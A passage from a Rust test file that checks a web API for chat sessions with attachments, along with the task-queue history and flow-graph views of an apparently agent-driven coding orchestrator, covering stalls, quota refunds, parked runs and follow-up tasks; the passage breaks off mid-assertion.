16692 b"<html>not a picture</html>",
16693 )
16694 .await;
16695 assert!((400..500).contains(&res.status), "{}", res.body);
16696 }
16697
16698 #[tokio::test]
16699 async fn an_unknown_attachment_id_is_a_404() {
16700 let f = Fixture::start().await;
16701 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
16702
16703 let res = f
16704 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
16705 .await;
16706 assert_eq!(res.status, 404, "{}", res.body);
16707 }
16708
16709 #[tokio::test]
16710 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
16711 let f = Fixture::start().await;
16712 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
16713
16714 let uploaded = f
16715 .post_bytes(
16716 &format!("/api/talks/{id}/attachments"),
16717 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16718 PNG_BYTES,
16719 )
16720 .await;
16721 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16722 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
16723
16724 let res = f
16725 .post(
16726 &format!("/api/talks/{id}/say"),
16727 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
16728 )
16729 .await;
16730 assert_eq!(res.status, 202, "{}", res.body);
16731 let queued = res.json();
16732 let turns = queued["turns"].as_array().expect("turns array");
16733 assert_eq!(
16734 turns.len(),
16735 1,
16736 "an empty body with an attachment is still a turn: {queued}"
16737 );
16738 assert_eq!(turns[0]["who"], "operator");
16739 assert_eq!(turns[0]["body"], "");
16740 let atts = turns[0]["attachments"]
16741 .as_array()
16742 .expect("attachments array");
16743 assert_eq!(atts.len(), 1);
16744 assert_eq!(atts[0]["id"], att_id);
16745 assert_eq!(atts[0]["mime"], "image/png");
16746
16747 let on_disk = f.talks().get(&id).expect("get");
16750 assert_eq!(on_disk.turns[0].attachments.len(), 1);
16751 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
16752 }
16753
16754 #[tokio::test]
16755 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
16756 let f = Fixture::start().await;
16757 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
16758
16759 let res = f
16760 .post(
16761 &format!("/api/talks/{id}/say"),
16762 Some(&format!(
16763 r#"{{"text":"hi","attachments":["{}"]}}"#,
16764 "a".repeat(32)
16765 )),
16766 )
16767 .await;
16768 assert!((400..500).contains(&res.status), "{}", res.body);
16769 assert!(res.body.contains("unknown attachment"), "{}", res.body);
16770
16771 let on_disk = f.talks().get(&id).expect("get");
16772 assert!(
16773 on_disk.turns.is_empty(),
16774 "a rejected attachment id must not partially record the turn: {:?}",
16775 on_disk.turns
16776 );
16777 }
16778
16779 #[tokio::test]
16780 async fn talk_close_makes_the_talk_refuse_further_turns() {
16781 let f = Fixture::start().await;
16782 let id = seed_talk(&f, "20260904-014455-cd34", "open");
16783
16784 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16785 assert_eq!(closed.status, 200, "{}", closed.body);
16786 assert_eq!(closed.json()["status"], "closed");
16787
16788 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
16790 assert_eq!(closed_again.status, 200);
16791 assert_eq!(closed_again.json()["status"], "closed");
16792
16793 let said = f
16794 .post(
16795 &format!("/api/talks/{id}/say"),
16796 Some(r#"{"text":"too late"}"#),
16797 )
16798 .await;
16799 assert_eq!(said.status, 409, "{}", said.body);
16800 }
16801
16802 #[tokio::test]
16803 async fn talk_close_refuses_pending_input_with_conflict_and_preserves_it() {
16804 let f = Fixture::start().await;
16805 let id = seed_talk(&f, "20260904-014455-cd34", "open");
16806 let store = f.talks();
16807 let mut queued = store.get(&id).expect("talk");
16808 for automatic in [false, true] {
16809 if automatic {
16810 talk::queue_once(&mut queued, &store, "automatic notice", "notice-key")
16811 .expect("queue automatic input");
16812 } else {
16813 talk::queue(&mut queued, &store, "queued send", Vec::new())
16814 .expect("queue operator input");
16815 }
16816 let before = serde_json::to_value(store.get(&id).expect("queued talk")).unwrap();
16817 let refused = f.post(&format!("/api/talks/{id}/close"), None).await;
16818 assert_eq!(refused.status, 409, "{}", refused.body);
16819 assert!(refused.body.contains("pending input"), "{}", refused.body);
16820 assert_eq!(
16821 serde_json::to_value(store.get(&id).expect("preserved talk")).unwrap(),
16822 before,
16823 "a close refusal must preserve the entire record"
16824 );
16825 talk::clear_pending(&mut queued, &store).expect("clear saved input");
16826 }
16827 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16828 assert_eq!(closed.status, 200, "{}", closed.body);
16829 assert_eq!(closed.json()["status"], "closed");
16830 }
16831
16832 #[tokio::test]
16833 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
16834 let (_tmp, _repo, f) = talk_fixture().await;
16835 let id = f.post("/api/talks", None).await.json()["id"]
16836 .as_str()
16837 .expect("id")
16838 .to_owned();
16839 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16840 assert_eq!(closed.status, 200, "{}", closed.body);
16841
16842 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16843 assert_eq!(reopened.status, 200, "{}", reopened.body);
16844 assert_eq!(reopened.json()["status"], "open");
16845
16846 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16848 assert_eq!(reopened_again.status, 200);
16849 assert_eq!(reopened_again.json()["status"], "open");
16850
16851 let said = f
16852 .post(
16853 &format!("/api/talks/{id}/say"),
16854 Some(r#"{"text":"still there?"}"#),
16855 )
16856 .await;
16857 assert_eq!(
16858 said.status, 202,
16859 "a reopened talk accepts turns again: {}",
16860 said.body
16861 );
16862 }
16863
16864 #[tokio::test]
16865 async fn talk_reopen_on_an_unknown_id_is_404() {
16866 let f = Fixture::start().await;
16867 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
16868 assert_eq!(res.status, 404, "{}", res.body);
16869 }
16870
16871 #[tokio::test]
16872 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
16873 let f = Fixture::start().await;
16874 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
16875
16876 let deleted = f.delete(&format!("/api/talks/{id}")).await;
16877 assert_eq!(deleted.status, 204, "{}", deleted.body);
16878
16879 let after = f.get(&format!("/api/talks/{id}")).await;
16880 assert_eq!(after.status, 404, "{}", after.body);
16881
16882 let listed = f.get("/api/talks").await.json();
16883 assert!(
16884 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
16885 "a deleted talk must not linger in the list: {listed}"
16886 );
16887 }
16888
16889 #[tokio::test]
16890 async fn talk_delete_on_an_unknown_id_is_404() {
16891 let f = Fixture::start().await;
16892 let res = f.delete("/api/talks/nonexistent-id").await;
16893 assert_eq!(res.status, 404, "{}", res.body);
16894 }
16895
16896 #[tokio::test]
16900 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
16901 let f = Fixture::start().await;
16902 let (a, b, gone) = (
16903 "20260902-140501-aaaa",
16904 "20260902-140502-bbbb",
16905 "20260902-140503-cccc",
16906 );
16907 write_run(&f.runs(), a, RunStatus::Stalled);
16908 let mut review = RunState::new(
16909 PathBuf::from("/repo/magi"),
16910 "main".to_owned(),
16911 "0123456789abcdef".to_owned(),
16912 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
16913 .to_owned(),
16914 Config::default(),
16915 );
16916 review.id = b.to_owned();
16917 review.status = RunStatus::Merged;
16918 write_state(&f.runs(), &review);
16919
16920 let mut task = Task::new(
16921 "retry".to_owned(),
16922 "Do the thing".to_owned(),
16923 PathBuf::from("/repo/magi"),
16924 Source::Human,
16925 );
16926 task.start(a.to_owned());
16927 task.stall("quota");
16928 task.start(a.to_owned());
16929 task.start(b.to_owned());
16930 task.start(gone.to_owned());
16931 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
16933 f.queue().put(&mut task).expect("file the task");
16934
16935 let res = f.get(&format!("/api/queue/{}", task.id)).await;
16936 assert_eq!(res.status, 200, "{}", res.body);
16937 let v = res.json();
16938 let h = v["history"].as_array().expect("history");
16939 assert_eq!(h.len(), 4, "{v}");
16940 assert_eq!(h[0]["kind"], "competition");
16941 assert_eq!(h[0]["status"], "stalled");
16942 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
16943 assert_eq!(h[1]["kind"], "resume", "{v}");
16944 assert!(
16945 h[0]["outcome"]
16946 .as_str()
16947 .unwrap()
16948 .contains("unknown. Pass #2"),
16949 "an earlier pass of a resumed run must not claim the final outcome: {v}"
16950 );
16951 assert!(
16952 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
16953 "{v}"
16954 );
16955 assert!(
16956 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
16957 "an unrecorded cause must not be narrated as an operator park: {v}"
16958 );
16959 assert_eq!(h[2]["kind"], "review");
16960 assert!(
16961 h[2]["description"]
16962 .as_str()
16963 .unwrap()
16964 .contains("magi/aaaa/A")
16965 );
16966 assert_eq!(h[2]["status"], "merged");
16967 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
16968 assert_eq!(v["runs_unreadable"], 1);
16969 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
16970 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
16971 assert_eq!(nodes[4]["note"], "unreadable");
16972 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
16973 assert_eq!(v["instruction"], "Do the thing");
16974 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
16975
16976 let run = f.get(&format!("/api/runs/{a}")).await.json();
16978 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
16979
16980 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
16981 }
16982
16983 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
16984 let mut s = RunState::new(
16985 PathBuf::from("/repo/magi"),
16986 "main".to_owned(),
16987 "0123456789abcdef".to_owned(),
16988 "Do it".to_owned(),
16989 Config::default(),
16990 );
16991 s.status = status;
16992 edit(&mut s);
16993 s
16994 }
16995
16996 fn flow_task(runs: &[&str]) -> Task {
16997 let mut t = Task::new(
16998 "t".to_owned(),
16999 "Do it".to_owned(),
17000 PathBuf::from("/repo/magi"),
17001 Source::Human,
17002 );
17003 for r in runs {
17004 t.start((*r).to_owned());
17005 }
17006 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
17008 t
17009 }
17010
17011 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
17012 let h = task_history(task, |id| {
17013 states
17014 .iter()
17015 .find(|(i, _)| *i == id)
17016 .and_then(|(_, s)| s.clone())
17017 });
17018 task_flow(task, &h, 5, None)
17019 }
17020
17021 #[test]
17022 fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
17023 let queued = "2026-10-10T00:00:00Z".parse().unwrap();
17024 let created = "2026-10-10T01:00:00Z".parse().unwrap();
17025 let first = "2026-10-10T02:00:00Z".parse().unwrap();
17026 let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
17027 let held = "2026-10-10T04:00:00Z".parse().unwrap();
17028 let run = flow_run(RunStatus::Implementing, |s| {
17029 s.created_at = created;
17030 s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
17031 s.passes[0].started_at = first;
17032 s.passes[1].started_at = resumed;
17033 });
17034 let mut task = flow_task(&[RUN_X, RUN_X]);
17035 task.created_at = queued;
17036 task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
17037 task.status = TaskStatus::Held;
17038 task.held_at = Some(held);
17039 let flow = flow_for(&task, &[(RUN_X, Some(run))]);
17040 assert_eq!(
17041 flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
17042 vec![Some(queued), Some(first), Some(resumed), Some(held)]
17043 );
17044 assert!(flow.nodes.iter().all(|n| n.time_expected));
17045 let json = serde_json::to_value(&flow).unwrap();
17046 assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
17047 assert_eq!(json["nodes"][2]["time_expected"], true);
17048 }
17049
17050 #[test]
17051 fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
17052 let created = "2026-10-10T01:00:00Z".parse().unwrap();
17053 let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
17054 let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
17055 task.held_at = Some(created);
17057 task.blocked_at = Some(created);
17058 for status in [
17059 TaskStatus::Queued,
17060 TaskStatus::Running,
17061 TaskStatus::Blocked,
17062 TaskStatus::Done,
17063 TaskStatus::Failed,
17064 TaskStatus::Parked,
17065 TaskStatus::Held,
17066 ] {
17067 task.status = status;
17068 if status == TaskStatus::Held {
17069 task.held_at = None;
17070 }
17071 let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
17072 assert_eq!(flow.nodes[1].started_at, Some(created));
17073 assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
17074 assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
17075 assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
17076 let json = serde_json::to_value(&flow).unwrap();
17077 assert!(json["nodes"][3]["started_at"].is_null());
17078 assert_eq!(json["nodes"][3]["time_expected"], true);
17079 }
17080 }
17081
17082 #[test]
17083 fn flow_context_links_do_not_expect_start_times() {
17084 let mut task = flow_task(&[]);
17085 task.source = Source::Agent {
17086 run: "chat-id".to_owned(),
17087 node: "chat".to_owned(),
17088 };
17089 let origin = followup_origin(&fu(None), |_| None, |_| None);
17090 let flow = task_flow(&task, &[], 5, Some(&origin));
17091 for node in &flow.nodes[..2] {
17092 assert!(!node.time_expected);
17093 assert_eq!(node.started_at, None);
17094 }
17095 assert!(flow.nodes[2].time_expected);
17096 }
17097
17098 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
17099 crate::queue::FollowUp {
17100 run: "20260901-000000-aaaa".to_owned(),
17101 origin_task: origin_task.map(str::to_owned),
17102 pr: "https://example.com/o/r/pull/1".to_owned(),
17103 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
17104 .map(str::to_owned)
17105 .to_vec(),
17106 generation: 1,
17107 }
17108 }
17109
17110 fn parent_task() -> Task {
17111 let mut p = flow_task(&[]);
17112 p.title = "Parent title".to_owned();
17113 p.status = TaskStatus::Done;
17114 p
17115 }
17116
17117 #[test]
17118 fn flow_opens_with_the_parent_task_of_a_followup() {
17119 let p = parent_task();
17120 let pid = p.id.clone();
17121 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
17122 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17123 let n = &f.nodes[0];
17124 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
17125 assert_eq!(
17126 n.label,
17127 format!("Follow-up of {}", crate::queue::short(&pid))
17128 );
17129 assert_eq!(n.detail.as_deref(), Some("Parent title"));
17130 assert_eq!(n.status, Some("done"));
17131 assert_eq!(n.status_of, "task");
17132 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
17133 assert_eq!(f.nodes[1].key, "start");
17134 assert_eq!(f.edges[0].from, "origin");
17135 assert_eq!(
17136 f.edges[0].label,
17137 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
17138 );
17139 }
17140
17141 #[test]
17142 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
17143 let o = followup_origin(
17144 &fu(Some("gone")),
17145 |_| None,
17146 |_| {
17147 Some(RunState::new(
17148 std::path::PathBuf::from("."),
17149 "main".to_owned(),
17150 "0".to_owned(),
17151 "t".to_owned(),
17152 crate::config::Config::default(),
17153 ))
17154 },
17155 );
17156 assert!(o.parent.is_none());
17157 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17158 let n = &f.nodes[0];
17159 assert_eq!(n.status_of, "run");
17160 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
17161 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
17162 }
17163
17164 #[test]
17165 fn flow_followup_with_nothing_readable_has_no_link() {
17166 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
17167 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17168 let n = &f.nodes[0];
17169 assert_eq!(n.href, None);
17170 assert_eq!(n.note, Some("unreadable"));
17171 assert!(!n.readable);
17172 }
17173
17174 #[test]
17175 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
17176 let o = followup_origin(&fu(None), |_| None, |_| None);
17177 let mut t = flow_task(&[]);
17178 t.origin_chat = Some("c1".to_owned());
17179 let f = task_flow(&t, &[], 5, Some(&o));
17180 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
17181 t.source = Source::Agent {
17182 run: "c1".to_owned(),
17183 node: crate::queue::CHAT_NODE.to_owned(),
17184 };
17185 let f = task_flow(&t, &[], 5, Some(&o));
17186 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
17187 assert_eq!(
17188 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
17189 ("chat", "origin")
17190 );
17191 }
17192
17193 #[test]
17194 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
17195 let mut p = parent_task();
17196 p.id = "a b/c".to_owned();
17197 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
17198 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
17199 }
17200
17201 #[test]
17202 fn flow_opens_with_the_chat_that_queued_the_task() {
17203 let mut t = flow_task(&[]);
17204 t.source = Source::Agent {
17205 run: "a b/c".to_owned(),
17206 node: crate::queue::CHAT_NODE.to_owned(),
17207 };
17208 let f = flow_for(&t, &[]);
17209 assert_eq!(f.nodes[0].key, "chat");
17210 assert_eq!(f.nodes[0].kind, "chat");
17211 assert_eq!(
17212 f.nodes[0].label,
17213 format!("Chat {}", crate::queue::short("a b/c"))
17214 );
17215 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
17216 assert_eq!(f.nodes[1].key, "start");
17217 assert_eq!(
17218 f.edges[0],
17219 FlowEdge {
17220 from: "chat".to_owned(),
17221 to: "start".to_owned(),
17222 label: "queued from chat".to_owned(),
17223 attempt: AttemptCost::None,
17224 }
17225 );
17226 }
17227
17228 #[test]
17229 fn flow_has_no_chat_box_for_other_sources() {
17230 for source in [
17231 Source::Human,
17232 Source::Issue {
17233 number: 3,
17234 repo: "o/r".to_owned(),
17235 },
17236 Source::Agent {
17237 run: "20260904-014455-ab12".to_owned(),
17238 node: "implement".to_owned(),
17239 },
17240 ] {
17241 let mut t = flow_task(&[]);
17242 t.source = source;
17243 let f = flow_for(&t, &[]);
17244 assert_eq!(f.nodes[0].key, "start");
17245 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
17246 assert!(f.edges.iter().all(|e| e.from != "chat"));
17247 }
17248 }
17249
17250 const FA: &str = "20260902-140501-aaaa";
17251 const FB: &str = "20260902-140502-bbbb";
17252
17253 #[test]
17254 fn flow_follows_blocked_retry_merged_to_done() {
17255 let mut t = flow_task(&[FA, FB]);
17256 t.status = TaskStatus::Done;
17257 let f = flow_for(
17258 &t,
17259 &[
17260 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
17261 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
17262 ],
17263 );
17264 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
17265 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
17266 assert_eq!(f.edges.len(), 3);
17267 assert_eq!(f.edges[0].label, "claimed");
17268 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
17269 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17270 assert_eq!(f.edges[2].label, "merged \u{2192} done");
17271 assert_eq!(
17272 f.nodes[2].href.as_deref(),
17273 Some("#/runs/20260902-140502-bbbb")
17274 );
17275 assert!(f.nodes[2].decided);
17276 }
17277
17278 #[test]
17279 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
17280 let quota = || {
17281 flow_run(RunStatus::Stalled, |s| {
17282 s.quota.push(crate::run::QuotaLoss {
17283 cause: crate::agent::QuotaCause::UsageLimit,
17284 agent: String::new(),
17285 seat: "judge-1".to_owned(),
17286 node: "judge".to_owned(),
17287 at: Timestamp::now(),
17288 reset: None,
17289 })
17290 })
17291 };
17292 let mut t = flow_task(&[FA, FA]);
17293 t.status = TaskStatus::Queued;
17294 let f = flow_for(&t, &[(FA, Some(quota()))]);
17295 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
17296 assert_eq!(f.nodes[1].note, Some("interrupted"));
17297 assert_eq!(
17298 f.nodes[1].status, None,
17299 "no outcome copied onto an earlier pass"
17300 );
17301 assert_eq!(
17302 f.edges[1].attempt,
17303 AttemptCost::Unknown,
17304 "a resume does not prove the earlier pass was refunded"
17305 );
17306 assert!(f.edges[1].label.contains("resume the same run"));
17307 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
17308 assert_eq!(
17309 f.edges[2].label,
17310 "stalled after a resume, refund unknown \u{2192} queued"
17311 );
17312 assert!(!f.nodes[2].decided, "a stall is not a decision");
17313 assert_eq!(f.nodes[2].note, Some("no verdict"));
17314 }
17315
17316 #[test]
17317 fn flow_single_pass_quota_stall_is_refunded() {
17318 let t = flow_task(&[FA]);
17319 let f = flow_for(
17320 &t,
17321 &[(
17322 FA,
17323 Some(flow_run(RunStatus::Stalled, |s| {
17324 s.quota.push(crate::run::QuotaLoss {
17325 cause: crate::agent::QuotaCause::UsageLimit,
17326 agent: String::new(),
17327 seat: "judge-1".to_owned(),
17328 node: "judge".to_owned(),
17329 at: Timestamp::now(),
17330 reset: None,
17331 })
17332 })),
17333 )],
17334 );
17335 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17336 }
17337
17338 #[test]
17339 fn flow_parked_refunds_and_stall_without_quota_spends() {
17340 let mut t = flow_task(&[FA]);
17341 t.status = TaskStatus::Queued;
17342 let f = flow_for(
17343 &t,
17344 &[(
17345 FA,
17346 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
17347 )],
17348 );
17349 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
17350 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17351 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
17352 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17353 assert!(!f.nodes[1].decided);
17354 }
17355
17356 #[test]
17357 fn flow_keeps_an_unreadable_run_as_its_own_node() {
17358 let t = flow_task(&[FA, FB]);
17359 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
17360 assert_eq!(f.nodes[1].note, Some("unreadable"));
17361 assert!(!f.nodes[1].readable);
17362 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
17363 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
17364 }
17365
17366 #[test]
17367 fn flow_names_the_branch_of_a_review_only_run() {
17368 let t = flow_task(&[FA]);
17369 let f = flow_for(
17370 &t,
17371 &[(
17372 FA,
17373 Some(flow_run(RunStatus::Merged, |s| {
17374 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
17375 })),
17376 )],
17377 );
17378 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
17379 assert_eq!(
17380 f.nodes[1].detail.as_deref(),
17381 Some("review-only run of branch magi/x/A")
17382 );
17383 }
17384
17385 #[test]
17386 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
17387 let mut t = flow_task(&[FA]);
17388 t.status = TaskStatus::Held;
17389 let pr = crate::run::PrRecord {
17390 url: "https://example.test/pr/1".to_owned(),
17391 number: 1,
17392 state: "open".to_owned(),
17393 checks: "green".to_owned(),
17394 round: 0,
17395 rounds: 3,
17396 red_at_merge: Vec::new(),
17397 };
17398 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
17399 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
17400 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
17401 t.status = TaskStatus::Done;
17402 let f = flow_for(&t, &[(FA, Some(blocked))]);
17403 assert_eq!(f.edges[1].label, "closed by hand: task is done");
17404 }
17405
17406 #[test]
17407 fn flow_with_no_runs_goes_from_queued_to_queued() {
17408 let t = flow_task(&[]);
17409 let f = flow_for(&t, &[]);
17410 assert_eq!(f.nodes.len(), 2);
17411 assert_eq!(f.edges.len(), 1);
17412 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
17413 assert_eq!(f.edges[0].attempt, AttemptCost::None);
17414 }
17415
17416 #[test]
17419 fn a_parked_non_terminal_run_is_explained_as_parked() {
17420 let mut s = RunState::new(
17421 PathBuf::from("/repo/magi"),
17422 "main".to_owned(),
17423 "0123456789abcdef".to_owned(),
17424 "Do it".to_owned(),
17425 Config::default(),
17426 );
17427 s.status = RunStatus::Implementing;
17428 s.parked = true;
17429 let task = Task::new(
17430 "t".to_owned(),
17431 "Do it".to_owned(),
17432 PathBuf::from("/repo/magi"),
17433 Source::Human,
17434 );
17435 let v = task_run_view(
17436 "20260902-140501-aaaa",
17437 Some(&s),
17438 RunSlot {
17439 n: 1,
17440 resumed: false,
17441 resumed_later: None,
17442 prior: None,
17443 last: true,
17444 ..RunSlot::default()
17445 },
17446 &task,
17447 );
17448 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
17449 }
17450
17451 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
17452 let mut s = flow_run(RunStatus::Implementing, edit);
17453 s.parked = false;
17454 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
17455 task_run_view(
17456 "20260902-140501-aaaa",
17457 Some(&s),
17458 RunSlot {
17459 n: 1,
17460 resumed: false,
17461 resumed_later: Some(2),
17462 prior: None,
17463 last: false,
17464 ..RunSlot::default()
17465 },
17466 &task,
17467 )
17468 }
17469
17470 #[test]
17471 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
17472 let v = earlier_pass_view(|_| {});
17473 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
17474 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17475 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
17476 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
17477 assert_eq!(v.exit, RunExit::Interrupted);
17478 assert_eq!(v.attempt, AttemptCost::Unknown);
17479 }
17480
17481 #[test]
17482 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
17483 let v = earlier_pass_view(|s| {
17484 s.quota.push(crate::run::QuotaLoss {
17485 cause: crate::agent::QuotaCause::UsageLimit,
17486 agent: String::new(),
17487 seat: "judge-1".to_owned(),
17488 node: "judge".to_owned(),
17489 at: Timestamp::now(),
17490 reset: None,
17491 });
17492 });
17493 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
17494 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17495 assert_eq!(v.attempt, AttemptCost::Unknown);
17496 }
17497
17498 #[test]
17499 fn the_current_pass_states_its_recorded_cause_and_cost() {
17500 let slot = || RunSlot {
17501 n: 1,
17502 resumed: false,
17503 resumed_later: None,
17504 prior: None,
17505 last: true,
17506 ..RunSlot::default()
17507 };
17508 let task = flow_task(&["20260902-140501-aaaa"]);
17509 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
17510 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
17511 assert_eq!(
17512 (v.exit, v.attempt),
17513 (RunExit::Parked, AttemptCost::Refunded)
17514 );
17515 let spent = flow_run(RunStatus::Blocked, |_| {});
17516 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
17517 assert_eq!(v.attempt, AttemptCost::Spent);
17518 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
17519 }
17520
17521 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
17522 crate::run::RunPass {
17523 index,
17524 started_at: Timestamp::now(),
17525 resumed: index > 0,
17526 ended_at: end.as_ref().map(|_| Timestamp::now()),
17527 end,
17528 task_entry: true,
17529 }
17530 }
17531
17532 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
17533 Some(crate::run::PassEnd::Parked { cause })
17534 }
17535
17536 fn upgrade_cause() -> crate::run::ParkCause {
17537 crate::run::ParkCause::Upgrade {
17538 from: "0.121.0".to_owned(),
17539 to: Some("0.121.1".to_owned()),
17540 }
17541 }
17542
17543 fn settled_pass(
17544 run: &str,
17545 index: usize,
17546 cost: crate::queue::PassCost,
17547 ) -> crate::queue::TaskPass {
17548 crate::queue::TaskPass {
17549 run: run.to_owned(),
17550 pass_index: index,
17551 started_at: None,
17552 cost,
17553 attempts_after: 1,
17554 settled_at: Timestamp::now(),
17555 parked: None,
17556 }
17557 }
17558
17559 const RUN_X: &str = "20261011-223708-4334";
17560
17561 #[test]
17562 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
17563 use crate::queue::PassCost;
17564 let run = flow_run(RunStatus::Implementing, |s| {
17565 s.passes = vec![
17566 recorded_pass(0, parked(upgrade_cause())),
17567 recorded_pass(1, None),
17568 ];
17569 });
17570 let mut task = flow_task(&[RUN_X, RUN_X]);
17571 task.attempts = 1;
17572 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17573 let h = task_history(&task, |_| Some(run.clone()));
17574 assert_eq!(h.len(), 2);
17575 assert_eq!(h[0].kind, "competition");
17576 assert_eq!(h[1].kind, "resume");
17577 assert_eq!(
